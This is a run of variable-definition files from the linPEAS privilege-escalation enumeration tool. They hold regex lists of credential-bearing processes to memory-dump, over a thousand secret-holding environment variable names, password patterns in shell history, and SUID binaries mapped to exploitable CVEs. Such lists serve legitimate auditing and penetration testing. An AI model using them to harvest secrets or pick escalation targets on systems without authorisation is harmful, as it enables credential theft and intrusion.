Small linpeas: 1 processesDump="gdm-password|gnome-keyring-daemon|lightdm|vsftpd|apache2|sshd:" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/processesVB.sh ================================================ # Title: Variables - processesVB # ID: processesVB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Very dangerous known processes parameters # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $processesVB # Fat linpeas: 0 # Small linpeas: 1 processesVB='jdwp|tmux |screen | inspect |--inspect=|--inspect |--inspect$|--inpect-brk|--remote-debugging-port' ================================================ FILE: linPEAS/builder/linpeas_parts/variables/profiledG.sh ================================================ # Title: Variables - profiledG # ID: profiledG # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Known profile files # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $profiledG # Fat linpeas: 0 # Small linpeas: 1 profiledG="01-locale-fix.sh|256term.csh|256term.sh|abrt-console-notification.sh|appmenu-qt5.sh|apps-bin-path.sh|bash_completion.sh|cedilla-portuguese.sh|colorgrep.csh|colorgrep.sh|colorls.csh|colorls.sh|colorxzgrep.csh|colorxzgrep.sh|colorzgrep.csh|colorzgrep.sh|csh.local|cursor.sh|gawk.csh|gawk.sh|im-config_wayland.sh|kali.sh|lang.csh|lang.sh|less.csh|less.sh|flatpak.sh|sh.local|vim.csh|vim.sh|vte.csh|vte-2.91.sh|which2.csh|which2.sh|xauthority.sh|Z97-byobu.sh|xdg_dirs_desktop_session.sh|Z99-cloudinit-warnings.sh|Z99-cloud-locale-test.sh" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/pwd_in_variables.sh ================================================ # Title: Variables - pwd_in_variables # ID: pwd_in_variables # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Variables which could contain passwords # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $pwd_in_variables1, $pwd_in_variables2, $pwd_in_variables3, $pwd_in_variables4, $pwd_in_variables5, $pwd_in_variables6, $pwd_in_variables7, $pwd_in_variables8, $pwd_in_variables9, $pwd_in_variables10, $pwd_in_variables11 # Fat linpeas: 0 # Small linpeas: 1 peass{VARIABLES} pwd_in_variables1="Dgpg.passphrase|Dsonar.login|Dsonar.projectKey|GITHUB_TOKEN|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|PUSHOVER_TOKEN|PUSHOVER_USER|VIRUSTOTAL_APIKEY|ACCESSKEY|ACCESSKEYID|ACCESS_KEY|ACCESS_KEY_ID|ACCESS_KEY_SECRET|ACCESS_SECRET|ACCESS_TOKEN|ACCOUNT_SID|ADMIN_EMAIL|ADZERK_API_KEY|ALGOLIA_ADMIN_KEY_1|ALGOLIA_ADMIN_KEY_2|ALGOLIA_ADMIN_KEY_MCM|ALGOLIA_API_KEY|ALGOLIA_API_KEY_MCM|ALGOLIA_API_KEY_SEARCH|ALGOLIA_APPLICATION_ID|ALGOLIA_APPLICATION_ID_1|ALGOLIA_APPLICATION_ID_2|ALGOLIA_APPLICATION_ID_MCM|ALGOLIA_APP_ID|ALGOLIA_APP_ID_MCM|ALGOLIA_SEARCH_API_KEY|ALGOLIA_SEARCH_KEY|ALGOLIA_SEARCH_KEY_1|ALIAS_NAME|ALIAS_PASS|ALICLOUD_ACCESS_KEY|ALICLOUD_SECRET_KEY|amazon_bucket_name|AMAZON_SECRET_ACCESS_KEY|ANDROID_DOCS_DEPLOY_TOKEN|android_sdk_license|android_sdk_preview_license|aos_key|aos_sec|APIARY_API_KEY|APIGW_ACCESS_TOKEN|API_KEY|API_KEY_MCM|API_KEY_SECRET|API_KEY_SID|API_SECRET|appClientSecret|APP_BUCKET_PERM|APP_NAME|APP_REPORT_TOKEN_KEY|APP_TOKEN|ARGOS_TOKEN|ARTIFACTORY_KEY|ARTIFACTS_AWS_ACCESS_KEY_ID|ARTIFACTS_AWS_SECRET_ACCESS_KEY|ARTIFACTS_BUCKET|ARTIFACTS_KEY|ARTIFACTS_SECRET|ASSISTANT_IAM_APIKEY|AURORA_STRING_URL|AUTH0_API_CLIENTID|AUTH0_API_CLIENTSECRET|AUTH0_AUDIENCE|AUTH0_CALLBACK_URL|AUTH0_CLIENT_ID" pwd_in_variables2="AUTH0_CLIENT_SECRET|AUTH0_CONNECTION|AUTH0_DOMAIN|AUTHOR_EMAIL_ADDR|AUTHOR_NPM_API_KEY|AUTH_TOKEN|AWS-ACCT-ID|AWS-KEY|AWS-SECRETS|AWS.config.accessKeyId|AWS.config.secretAccessKey|AWSACCESSKEYID|AWSCN_ACCESS_KEY_ID|AWSCN_SECRET_ACCESS_KEY|AWSSECRETKEY|AWS_ACCESS|AWS_ACCESS_KEY|AWS_ACCESS_KEY_ID|AWS_CF_DIST_ID|AWS_DEFAULT|AWS_DEFAULT_REGION|AWS_S3_BUCKET|AWS_SECRET|AWS_SECRET_ACCESS_KEY|AWS_SECRET_KEY|AWS_SES_ACCESS_KEY_ID|AWS_SES_SECRET_ACCESS_KEY|B2_ACCT_ID|B2_APP_KEY|B2_BUCKET|baseUrlTravis|bintrayKey|bintrayUser|BINTRAY_APIKEY|BINTRAY_API_KEY|BINTRAY_KEY|BINTRAY_TOKEN|BINTRAY_USER|BLUEMIX_ACCOUNT|BLUEMIX_API_KEY|BLUEMIX_AUTH|BLUEMIX_NAMESPACE|BLUEMIX_ORG|BLUEMIX_ORGANIZATION|BLUEMIX_PASS|BLUEMIX_PASS_PROD|BLUEMIX_SPACE|BLUEMIX_USER|BRACKETS_REPO_OAUTH_TOKEN|BROWSERSTACK_ACCESS_KEY|BROWSERSTACK_PROJECT_NAME|BROWSER_STACK_ACCESS_KEY|BUCKETEER_AWS_ACCESS_KEY_ID|BUCKETEER_AWS_SECRET_ACCESS_KEY|BUCKETEER_BUCKET_NAME|BUILT_BRANCH_DEPLOY_KEY|BUNDLESIZE_GITHUB_TOKEN|CACHE_S3_SECRET_KEY|CACHE_URL|CARGO_TOKEN|CATTLE_ACCESS_KEY|CATTLE_AGENT_INSTANCE_AUTH|CATTLE_SECRET_KEY|CC_TEST_REPORTER_ID|CC_TEST_REPOTER_ID|CENSYS_SECRET|CENSYS_UID|CERTIFICATE_OSX_P12|CF_ORGANIZATION|CF_PROXY_HOST|channelId|CHEVERNY_TOKEN|CHROME_CLIENT_ID" pwd_in_variables3="CHROME_CLIENT_SECRET|CHROME_EXTENSION_ID|CHROME_REFRESH_TOKEN|CI_DEPLOY_USER|CI_NAME|CI_PROJECT_NAMESPACE|CI_PROJECT_URL|CI_REGISTRY_USER|CI_SERVER_NAME|CI_USER_TOKEN|CLAIMR_DATABASE|CLAIMR_DB|CLAIMR_SUPERUSER|CLAIMR_TOKEN|CLIENT_ID|CLIENT_SECRET|CLI_E2E_CMA_TOKEN|CLI_E2E_ORG_ID|CLOUDAMQP_URL|CLOUDANT_APPLIANCE_DATABASE|CLOUDANT_ARCHIVED_DATABASE|CLOUDANT_AUDITED_DATABASE|CLOUDANT_DATABASE|CLOUDANT_ORDER_DATABASE|CLOUDANT_PARSED_DATABASE|CLOUDANT_PROCESSED_DATABASE|CLOUDANT_SERVICE_DATABASE|CLOUDFLARE_API_KEY|CLOUDFLARE_AUTH_EMAIL|CLOUDFLARE_AUTH_KEY|CLOUDFLARE_EMAIL|CLOUDFLARE_ZONE_ID|CLOUDINARY_URL|CLOUDINARY_URL_EU|CLOUDINARY_URL_STAGING|CLOUD_API_KEY|CLUSTER_NAME|CLU_REPO_URL|CLU_SSH_PRIVATE_KEY_BASE64|CN_ACCESS_KEY_ID|CN_SECRET_ACCESS_KEY|COCOAPODS_TRUNK_EMAIL|COCOAPODS_TRUNK_TOKEN|CODACY_PROJECT_TOKEN|CODECLIMATE_REPO_TOKEN|CODECOV_TOKEN|coding_token|CONEKTA_APIKEY|CONFIGURATION_PROFILE_SID|CONFIGURATION_PROFILE_SID_P2P|CONFIGURATION_PROFILE_SID_SFU|CONSUMERKEY|CONSUMER_KEY|CONTENTFUL_ACCESS_TOKEN|CONTENTFUL_CMA_TEST_TOKEN|CONTENTFUL_INTEGRATION_MANAGEMENT_TOKEN|CONTENTFUL_INTEGRATION_SOURCE_SPACE|CONTENTFUL_MANAGEMENT_API_ACCESS_TOKEN|CONTENTFUL_MANAGEMENT_API_ACCESS_TOKEN_NEW|CONTENTFUL_ORGANIZATION" pwd_in_variables4="CONTENTFUL_PHP_MANAGEMENT_TEST_TOKEN|CONTENTFUL_TEST_ORG_CMA_TOKEN|CONTENTFUL_V2_ACCESS_TOKEN|CONTENTFUL_V2_ORGANIZATION|CONVERSATION_URL|COREAPI_HOST|COS_SECRETS|COVERALLS_API_TOKEN|COVERALLS_REPO_TOKEN|COVERALLS_SERVICE_NAME|COVERALLS_TOKEN|COVERITY_SCAN_NOTIFICATION_EMAIL|COVERITY_SCAN_TOKEN|CYPRESS_RECORD_KEY|DANGER_GITHUB_API_TOKEN|DATABASE_HOST|DATABASE_NAME|DATABASE_PORT|DATABASE_USER|DATABASE_PASSWORD|datadog_api_key|datadog_app_key|DB_CONNECTION|DB_DATABASE|DB_HOST|DB_PORT|DB_PW|DB_USER|DDGC_GITHUB_TOKEN|DDG_TEST_EMAIL|DDG_TEST_EMAIL_PW|DEPLOY_DIR|DEPLOY_DIRECTORY|DEPLOY_HOST|DEPLOY_PORT|DEPLOY_SECURE|DEPLOY_TOKEN|DEPLOY_USER|DEST_TOPIC|DHL_SOLDTOACCOUNTID|DH_END_POINT_1|DH_END_POINT_2|DIGITALOCEAN_ACCESS_TOKEN|DIGITALOCEAN_SSH_KEY_BODY|DIGITALOCEAN_SSH_KEY_IDS|DOCKER_EMAIL|DOCKER_KEY|DOCKER_PASSDOCKER_POSTGRES_URL|DOCKER_RABBITMQ_HOST|docker_repo|DOCKER_TOKEN|DOCKER_USER|DOORDASH_AUTH_TOKEN|DROPBOX_OAUTH_BEARER|ELASTICSEARCH_HOST|ELASTIC_CLOUD_AUTH|env.GITHUB_OAUTH_TOKEN|env.HEROKU_API_KEY|ENV_KEY|ENV_SECRET|ENV_SECRET_ACCESS_KEY|eureka.awsAccessId" pwd_in_variables5="eureka.awsSecretKey|ExcludeRestorePackageImports|EXPORT_SPACE_ID|FIREBASE_API_JSON|FIREBASE_API_TOKEN|FIREBASE_KEY|FIREBASE_PROJECT|FIREBASE_PROJECT_DEVELOP|FIREBASE_PROJECT_ID|FIREBASE_SERVICE_ACCOUNT|FIREBASE_TOKEN|FIREFOX_CLIENT|FIREFOX_ISSUER|FIREFOX_SECRET|FLASK_SECRET_KEY|FLICKR_API_KEY|FLICKR_API_SECRET|FOSSA_API_KEY|ftp_host|FTP_LOGIN|FTP_PW|FTP_USER|GCLOUD_BUCKET|GCLOUD_PROJECT|GCLOUD_SERVICE_KEY|GCS_BUCKET|GHB_TOKEN|GHOST_API_KEY|GH_API_KEY|GH_EMAIL|GH_NAME|GH_NEXT_OAUTH_CLIENT_ID|GH_NEXT_OAUTH_CLIENT_SECRET|GH_NEXT_UNSTABLE_OAUTH_CLIENT_ID|GH_NEXT_UNSTABLE_OAUTH_CLIENT_SECRET|GH_OAUTH_CLIENT_ID|GH_OAUTH_CLIENT_SECRET|GH_OAUTH_TOKEN|GH_REPO_TOKEN|GH_TOKEN|GH_UNSTABLE_OAUTH_CLIENT_ID|GH_UNSTABLE_OAUTH_CLIENT_SECRET|GH_USER_EMAIL|GH_USER_NAME|GITHUB_ACCESS_TOKEN|GITHUB_API_KEY|GITHUB_API_TOKEN|GITHUB_AUTH|GITHUB_AUTH_TOKEN|GITHUB_AUTH_USER|GITHUB_CLIENT_ID|GITHUB_CLIENT_SECRET|GITHUB_DEPLOYMENT_TOKEN|GITHUB_DEPLOY_HB_DOC_PASS|GITHUB_HUNTER_TOKEN|GITHUB_KEY|GITHUB_OAUTH|GITHUB_OAUTH_TOKEN|GITHUB_RELEASE_TOKEN|GITHUB_REPO|GITHUB_TOKEN|GITHUB_TOKENS|GITHUB_USER|GITLAB_USER_EMAIL|GITLAB_USER_LOGIN|GIT_AUTHOR_EMAIL|GIT_AUTHOR_NAME|GIT_COMMITTER_EMAIL|GIT_COMMITTER_NAME|GIT_EMAIL|GIT_NAME|GIT_TOKEN|GIT_USER" pwd_in_variables6="GOOGLE_CLIENT_EMAIL|GOOGLE_CLIENT_ID|GOOGLE_CLIENT_SECRET|GOOGLE_MAPS_API_KEY|GOOGLE_PRIVATE_KEY|gpg.passphrase|GPG_EMAIL|GPG_ENCRYPTION|GPG_EXECUTABLE|GPG_KEYNAME|GPG_KEY_NAME|GPG_NAME|GPG_OWNERTRUST|GPG_PASSPHRASE|GPG_PRIVATE_KEY|GPG_SECRET_KEYS|gradle.publish.key|gradle.publish.secret|GRADLE_SIGNING_KEY_ID|GREN_GITHUB_TOKEN|GRGIT_USER|HAB_AUTH_TOKEN|HAB_KEY|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|HEROKU_API_KEY|HEROKU_API_USER|HEROKU_EMAIL|HEROKU_TOKEN|HOCKEYAPP_TOKEN|INTEGRATION_TEST_API_KEY|INTEGRATION_TEST_APPID|INTERNAL-SECRETS|IOS_DOCS_DEPLOY_TOKEN|IRC_NOTIFICATION_CHANNEL|JDBC:MYSQL|jdbc_databaseurl|jdbc_host|jdbc_user|JWT_SECRET|KAFKA_ADMIN_URL|KAFKA_INSTANCE_NAME|KAFKA_REST_URL|KEYSTORE_PASS|KOVAN_PRIVATE_KEY|LEANPLUM_APP_ID|LEANPLUM_KEY|LICENSES_HASH|LICENSES_HASH_TWO|LIGHTHOUSE_API_KEY|LINKEDIN_CLIENT_ID|LINKEDIN_CLIENT_SECRET|LINODE_INSTANCE_ID|LINODE_VOLUME_ID|LINUX_SIGNING_KEY|LL_API_SHORTNAME|LL_PUBLISH_URL|LL_SHARED_KEY|LOOKER_TEST_RUNNER_CLIENT_ID|LOOKER_TEST_RUNNER_CLIENT_SECRET|LOOKER_TEST_RUNNER_ENDPOINT|LOTTIE_HAPPO_API_KEY|LOTTIE_HAPPO_SECRET_KEY|LOTTIE_S3_API_KEY|LOTTIE_S3_SECRET_KEY|mailchimp_api_key|MAILCHIMP_KEY|mailchimp_list_id|mailchimp_user|MAILER_HOST|MAILER_TRANSPORT|MAILER_USER" pwd_in_variables7="MAILGUN_APIKEY|MAILGUN_API_KEY|MAILGUN_DOMAIN|MAILGUN_PRIV_KEY|MAILGUN_PUB_APIKEY|MAILGUN_PUB_KEY|MAILGUN_SECRET_API_KEY|MAILGUN_TESTDOMAIN|ManagementAPIAccessToken|MANAGEMENT_TOKEN|MANAGE_KEY|MANAGE_SECRET|MANDRILL_API_KEY|MANIFEST_APP_TOKEN|MANIFEST_APP_URL|MapboxAccessToken|MAPBOX_ACCESS_TOKEN|MAPBOX_API_TOKEN|MAPBOX_AWS_ACCESS_KEY_ID|MAPBOX_AWS_SECRET_ACCESS_KEY|MG_API_KEY|MG_DOMAIN|MG_EMAIL_ADDR|MG_EMAIL_TO|MG_PUBLIC_API_KEY|MG_SPEND_MONEY|MG_URL|MH_APIKEY|MILE_ZERO_KEY|MINIO_ACCESS_KEY|MINIO_SECRET_KEY|MYSQLMASTERUSER|MYSQLSECRET|MYSQL_DATABASE|MYSQL_HOSTNAMEMYSQL_USER|MY_SECRET_ENV|NETLIFY_API_KEY|NETLIFY_SITE_ID|NEW_RELIC_BETA_TOKEN|NGROK_AUTH_TOKEN|NGROK_TOKEN|node_pre_gyp_accessKeyId|NODE_PRE_GYP_GITHUB_TOKEN|node_pre_gyp_secretAccessKey|NPM_API_KEY|NPM_API_TOKEN|NPM_AUTH_TOKEN|NPM_EMAIL|NPM_SECRET_KEY|NPM_TOKEN|NUGET_APIKEY|NUGET_API_KEY|NUGET_KEY|NUMBERS_SERVICE|NUMBERS_SERVICE_PASS|NUMBERS_SERVICE_USER|OAUTH_TOKEN|OBJECT_STORAGE_PROJECT_ID|OBJECT_STORAGE_USER_ID|OBJECT_STORE_BUCKET|OBJECT_STORE_CREDS|OCTEST_SERVER_BASE_URL|OCTEST_SERVER_BASE_URL_2|OC_PASS|OFTA_KEY|OFTA_SECRET|OKTA_CLIENT_TOKEN|OKTA_DOMAIN|OKTA_OAUTH2_CLIENTID|OKTA_OAUTH2_CLIENTSECRET|OKTA_OAUTH2_CLIENT_ID|OKTA_OAUTH2_CLIENT_SECRET" pwd_in_variables8="OKTA_OAUTH2_ISSUER|OMISE_KEY|OMISE_PKEY|OMISE_PUBKEY|OMISE_SKEY|ONESIGNAL_API_KEY|ONESIGNAL_USER_AUTH_KEY|OPENWHISK_KEY|OPEN_WHISK_KEY|OSSRH_PASS|OSSRH_SECRET|OSSRH_USER|OS_AUTH_URL|OS_PROJECT_NAME|OS_TENANT_ID|OS_TENANT_NAME|PAGERDUTY_APIKEY|PAGERDUTY_ESCALATION_POLICY_ID|PAGERDUTY_FROM_USER|PAGERDUTY_PRIORITY_ID|PAGERDUTY_SERVICE_ID|PANTHEON_SITE|PARSE_APP_ID|PARSE_JS_KEY|PAYPAL_CLIENT_ID|PAYPAL_CLIENT_SECRET|PERCY_TOKEN|PERSONAL_KEY|PERSONAL_SECRET|PG_DATABASE|PG_HOST|PLACES_APIKEY|PLACES_API_KEY|PLACES_APPID|PLACES_APPLICATION_ID|PLOTLY_APIKEY|POSTGRESQL_DB|POSTGRESQL_PASS|POSTGRES_ENV_POSTGRES_DB|POSTGRES_ENV_POSTGRES_USER|POSTGRES_PORT|PREBUILD_AUTH|PROD.ACCESS.KEY.ID|PROD.SECRET.KEY|PROD_BASE_URL_RUNSCOPE|PROJECT_CONFIG|PUBLISH_KEY|PUBLISH_SECRET|PUSHOVER_TOKEN|PUSHOVER_USER|PYPI_PASSOWRD|QUIP_TOKEN|RABBITMQ_SERVER_ADDR|REDISCLOUD_URL|REDIS_STUNNEL_URLS|REFRESH_TOKEN|RELEASE_GH_TOKEN|RELEASE_TOKEN|remoteUserToShareTravis|REPORTING_WEBDAV_URL|REPORTING_WEBDAV_USER|repoToken|REST_API_KEY|RINKEBY_PRIVATE_KEY|ROPSTEN_PRIVATE_KEY|route53_access_key_id|RTD_KEY_PASS|RTD_STORE_PASS|RUBYGEMS_AUTH_TOKEN|s3_access_key|S3_ACCESS_KEY_ID|S3_BUCKET_NAME_APP_LOGS|S3_BUCKET_NAME_ASSETS|S3_KEY" pwd_in_variables9="S3_KEY_APP_LOGS|S3_KEY_ASSETS|S3_PHOTO_BUCKET|S3_SECRET_APP_LOGS|S3_SECRET_ASSETS|S3_SECRET_KEY|S3_USER_ID|S3_USER_SECRET|SACLOUD_ACCESS_TOKEN|SACLOUD_ACCESS_TOKEN_SECRET|SACLOUD_API|SALESFORCE_BULK_TEST_SECURITY_TOKEN|SANDBOX_ACCESS_TOKEN|SANDBOX_AWS_ACCESS_KEY_ID|SANDBOX_AWS_SECRET_ACCESS_KEY|SANDBOX_LOCATION_ID|SAUCE_ACCESS_KEY|SECRETACCESSKEY|SECRETKEY|SECRET_0|SECRET_10|SECRET_11|SECRET_1|SECRET_2|SECRET_3|SECRET_4|SECRET_5|SECRET_6|SECRET_7|SECRET_8|SECRET_9|SECRET_KEY_BASE|SEGMENT_API_KEY|SELION_SELENIUM_SAUCELAB_GRID_CONFIG_FILE|SELION_SELENIUM_USE_SAUCELAB_GRID|SENDGRID|SENDGRID_API_KEY|SENDGRID_FROM_ADDRESS|SENDGRID_KEY|SENDGRID_USER|SENDWITHUS_KEY|SENTRY_AUTH_TOKEN|SERVICE_ACCOUNT_SECRET|SES_ACCESS_KEY|SES_SECRET_KEY|setDstAccessKey|setDstSecretKey|setSecretKey|SIGNING_KEY|SIGNING_KEY_SECRET|SIGNING_KEY_SID|SNOOWRAP_CLIENT_SECRET|SNOOWRAP_REDIRECT_URI|SNOOWRAP_REFRESH_TOKEN|SNOOWRAP_USER_AGENT|SNYK_API_TOKEN|SNYK_ORG_ID|SNYK_TOKEN|SOCRATA_APP_TOKEN|SOCRATA_USER|SONAR_ORGANIZATION_KEY|SONAR_PROJECT_KEY|SONAR_TOKEN|SONATYPE_GPG_KEY_NAME|SONATYPE_GPG_PASSPHRASE|SONATYPE_PASSSONATYPE_TOKEN_USER|SONATYPE_USER|SOUNDCLOUD_CLIENT_ID|SOUNDCLOUD_CLIENT_SECRET|SPACES_ACCESS_KEY_ID|SPACES_SECRET_ACCESS_KEY" pwd_in_variables10="SPA_CLIENT_ID|SPOTIFY_API_ACCESS_TOKEN|SPOTIFY_API_CLIENT_ID|SPOTIFY_API_CLIENT_SECRET|sqsAccessKey|sqsSecretKey|SRCCLR_API_TOKEN|SSHPASS|SSMTP_CONFIG|STARSHIP_ACCOUNT_SID|STARSHIP_AUTH_TOKEN|STAR_TEST_AWS_ACCESS_KEY_ID|STAR_TEST_BUCKET|STAR_TEST_LOCATION|STAR_TEST_SECRET_ACCESS_KEY|STORMPATH_API_KEY_ID|STORMPATH_API_KEY_SECRET|STRIPE_PRIVATE|STRIPE_PUBLIC|STRIP_PUBLISHABLE_KEY|STRIP_SECRET_KEY|SURGE_LOGIN|SURGE_TOKEN|SVN_PASS|SVN_USER|TESCO_API_KEY|THERA_OSS_ACCESS_ID|THERA_OSS_ACCESS_KEY|TRAVIS_ACCESS_TOKEN|TRAVIS_API_TOKEN|TRAVIS_COM_TOKEN|TRAVIS_E2E_TOKEN|TRAVIS_GH_TOKEN|TRAVIS_PULL_REQUEST|TRAVIS_SECURE_ENV_VARS|TRAVIS_TOKEN|TREX_CLIENT_ORGURL|TREX_CLIENT_TOKEN|TREX_OKTA_CLIENT_ORGURL|TREX_OKTA_CLIENT_TOKEN|TWILIO_ACCOUNT_ID|TWILIO_ACCOUNT_SID|TWILIO_API_KEY|TWILIO_API_SECRET|TWILIO_CHAT_ACCOUNT_API_SERVICE|TWILIO_CONFIGURATION_SID|TWILIO_SID|TWILIO_TOKEN|TWITTEROAUTHACCESSSECRET|TWITTEROAUTHACCESSTOKEN|TWITTER_CONSUMER_KEY|TWITTER_CONSUMER_SECRET|UNITY_SERIAL|URBAN_KEY|URBAN_MASTER_SECRET|URBAN_SECRET|userTravis|USER_ASSETS_ACCESS_KEY_ID|USER_ASSETS_SECRET_ACCESS_KEY|VAULT_APPROLE_SECRET_ID|VAULT_PATH|VIP_GITHUB_BUILD_REPO_DEPLOY_KEY|VIP_GITHUB_DEPLOY_KEY|VIP_GITHUB_DEPLOY_KEY_PASS" pwd_in_variables11="VIRUSTOTAL_APIKEY|VISUAL_RECOGNITION_API_KEY|V_SFDC_CLIENT_ID|V_SFDC_CLIENT_SECRET|WAKATIME_API_KEY|WAKATIME_PROJECT|WATSON_CLIENT|WATSON_CONVERSATION_WORKSPACE|WATSON_DEVICE|WATSON_DEVICE_TOPIC|WATSON_TEAM_ID|WATSON_TOPIC|WIDGET_BASIC_USER_2|WIDGET_BASIC_USER_3|WIDGET_BASIC_USER_4|WIDGET_BASIC_USER_5|WIDGET_FB_USER|WIDGET_FB_USER_2|WIDGET_FB_USER_3|WIDGET_TEST_SERVERWORDPRESS_DB_USER|WORKSPACE_ID|WPJM_PHPUNIT_GOOGLE_GEOCODE_API_KEY|WPT_DB_HOST|WPT_DB_NAME|WPT_DB_USER|WPT_PREPARE_DIR|WPT_REPORT_API_KEY|WPT_SSH_CONNECT|WPT_SSH_PRIVATE_KEY_BASE64|YANGSHUN_GH_TOKEN|YT_ACCOUNT_CHANNEL_ID|YT_ACCOUNT_CLIENT_ID|YT_ACCOUNT_CLIENT_SECRET|YT_ACCOUNT_REFRESH_TOKEN|YT_API_KEY|YT_CLIENT_ID|YT_CLIENT_SECRET|YT_PARTNER_CHANNEL_ID|YT_PARTNER_CLIENT_ID|YT_PARTNER_CLIENT_SECRET|YT_PARTNER_ID|YT_PARTNER_REFRESH_TOKEN|YT_SERVER_API_KEY|ZHULIANG_GH_TOKEN|ZOPIM_ACCOUNT_KEY|USERNAME|PASSWORD|PASSWD|CREDENTIALS?" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/pwd_inside_history.sh ================================================ # Title: Variables - pwd_inside_history # ID: pwd_inside_history # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Common binaries executed with passwords on the arguments # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $pwd_inside_history # Fat linpeas: 0 # Small linpeas: 1 pwd_inside_history="az login|enable_autologin|7z|unzip|useradd|linenum|linpeas|mkpasswd|htpasswd|openssl|PASSW|passw|shadow|roadrecon auth|root|snyk|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|Save-AzContext|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:|chpasswd" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/rootcommon.sh ================================================ # Title: Variables - rootcommon # ID: rootcommon # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Common root processes # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $rootcommon # Fat linpeas: 0 # Small linpeas: 1 rootcommon="/init$|upstart-udev-bridge|udev|/getty|cron|apache2|java|tomcat|/vmtoolsd|/VGAuthService" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/shscripsG.sh ================================================ # Title: Variables - shscripsG # ID: shscripsG # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Known scripts # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $shscripsG # Fat linpeas: 0 # Small linpeas: 1 shscripsG="/0trace.sh|/alsa-info.sh|amuFormat.sh|/blueranger.sh|/crosh.sh|/dnsmap-bulk.sh|/dockerd-rootless.sh|/dockerd-rootless-setuptool.sh|/get_bluetooth_device_class.sh|/gettext.sh|/go-rhn.sh|/gvmap.sh|/kernel_log_collector.sh|/lesspipe.sh|/lprsetup.sh|/mksmbpasswd.sh|/pm-utils-bugreport-info.sh|/power_report.sh|/prl-opengl-switcher.sh|/setuporamysql.sh|/setup-nsssysinit.sh|/readlink_f.sh|/rescan-scsi-bus.sh|/start_bluetoothd.sh|/start_bluetoothlog.sh|/testacg.sh|/testlahf.sh|/unix-lpr.sh|/url_handler.sh|/write_gpt.sh" ================================================ FILE: linPEAS/builder/linpeas_parts/variables/sidB.sh ================================================ # Title: Variables - sidB # ID: sidB # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Dangerous sid binaries # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $sidB # Fat linpeas: 0 # Small linpeas: 1 #Rules: Start path " /", end path "$", divide path and vulnversion "%". SPACE IS ONLY ALLOWED AT BEGINNING, DONT USE IT IN VULN DESCRIPTION sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\ /at$%RTru64_UNIX_4.0g\(CVE-2002-1614\)\ /abrt-action-install-debuginfo-to-abrt-cache$%CENTOS 7.1/Fedora22\ /chfn$%SuSE_9.3/10\ /chkey$%Solaris_2.5.1\ /chkperm$%Solaris_7.0_\ /chpass$%2Vulns:OpenBSD_6.1_to_OpenBSD 6.6\(CVE-2019-19726\)--OpenBSD_2.7_i386/OpenBSD_2.6_i386/OpenBSD_2.5_1999/08/06/OpenBSD_2.5_1998/05/28/FreeBSD_4.0-RELEASE/FreeBSD_3.5-RELEASE/FreeBSD_3.4-RELEASE/NetBSD_1.4.2\ /chpasswd$%SquirrelMail\(2004-04\)\ /dtappgather$%Solaris_7_<_11_\(SPARC/x86\)\(CVE-2017-3622\)\ /dtprintinfo$%Solaris_10_\(x86\)_and_lower_versions_also_SunOS_5.7_to_5.10\ /dtsession$%Oracle_Solaris_10_1/13_and_earlier\(CVE-2020-2696\)\ /enlightenment_backlight$%Before_0.25.4_\(CVE-2022-37706\)\ /enlightenment_ckpasswd$%Before_0.25.4_\(CVE-2022-37706\)\ /enlightenment_sys$%Before_0.25.4_\(CVE-2022-37706\)\ /eject$%FreeBSD_mcweject_0.9/SGI_IRIX_6.2\ /ibstat$%IBM_AIX_Version_6.1/7.1\(09-2013\)\ /kcheckpass$%KDE_3.2.0_<-->_3.4.2_\(both_included\)\ /kdesud$%KDE_1.1/1.1.1/1.1.2/1.2\ /keybase-redirector%CentOS_Linux_release_7.4.1708\ /login$%IBM_AIX_3.2.5/SGI_IRIX_6.4\ /lpc$%S.u.S.E_Linux_5.2\ /lpr$%BSD/OS2.1/FreeBSD2.1.5/NeXTstep4.x/IRIX6.4/SunOS4.1.3/4.1.4\(09-1996\)\ /mail.local$%NetBSD_7.0-7.0.1__6.1-6.1.5__6.0-6.0.6\ /mount$%Apple_Mac_OSX\(Lion\)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8\ /movemail$%Emacs\(08-1986\)\ /mrinfo$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\ /mtrace$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\ /netprint$%IRIX_5.3/6.2/6.3/6.4/6.5/6.5.11\ /newgrp$%HP-UX_10.20\ /ntfs-3g$%Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others\(02-2017\)\ /passwd$%Apple_Mac_OSX\(03-2006\)/Solaris_8/9\(12-2004\)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1\(02-1997\)\ /pkexec$%Linux4.10_to_5.1.17\(CVE-2019-13272\)/rhel_6\(CVE-2011-1485\)/Generic_CVE-2021-4034\ /pppd$%Apple_Mac_OSX_10.4.8\(05-2007\)\ /pt_chown$%GNU_glibc_2.1/2.1.1_-6\(08-1999\)\ /pulseaudio$%\(Ubuntu_9.04/Slackware_12.2.0\)\ /rcp$%RedHat_6.2\ 